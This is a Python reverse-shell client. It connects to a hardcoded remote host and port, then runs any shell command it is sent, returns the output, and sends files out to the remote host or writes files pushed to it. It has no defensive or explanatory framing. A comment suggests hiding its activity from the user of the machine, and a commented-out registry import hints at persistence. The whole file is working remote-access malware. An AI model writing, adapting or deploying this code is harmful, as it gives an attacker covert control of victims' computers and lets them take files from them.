import os
import socket
import subprocess
import sys
#from winreg import *

s = socket.socket()
# host = 'cyanogen.bounceme.net'
host = '10.105.131.208'
port = 9999
s.connect((host, port))
# key = OpenKey()


def download(s, path):
    
    if os.path.exists(path):
        f = open(path, 'rb')
        packet = f.read(1024)
        while packet:
            s.send(packet)
            packet = f.read(1024)
        # s.send('DONE')
        # print('sending complete')
        f.close()
        s.send(str.encode('##'))
    else:
        # s.send('Unable to find out the file')
        print("File not found")


def upload(s, path):
    file_name = path.split('/')
    new_path = str(os.getcwd()) + '/' + file_name[-1]
    f = open(new_path, 'wb')
    while True:
        Bytess = s.recv(1024)
        if '##' in Bytess[:].decode("utf-8"):
            var = Bytess[:].decode("utf-8")
            var = var.replace('##', '')
            Bytess = str.encode(var)
            f.write(Bytess)
            print("Transfer complete")
            break
        f.write(Bytess)

    f.close()


while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))
    if data[:5].decode("utf-8") == 'mkdir':
        os.makedirs(data[6:].decode("utf-8"), exist_ok=True)
    if len(data) > 0:
        if 'download' in data[:].decode("utf-8"):
            data = data[:].decode("utf-8")
            grab, path = data.split(' ')
            try:
                download(s, path)
            except Exception as e:
                s.send(str(e))
                pass
        elif 'upload' in data[:].decode("utf-8"):
            data = data[:].decode("utf-8")
            grab, path = data.split(' ')
            try:
                upload(s, path)
            except Exception as e:
                s.send(str(e))
                pass
        else:
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes, "utf-8")
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))
        # if we dont want the client to know what is going on then do not write the following line
        # print(output_str)

# close connection
s.close()
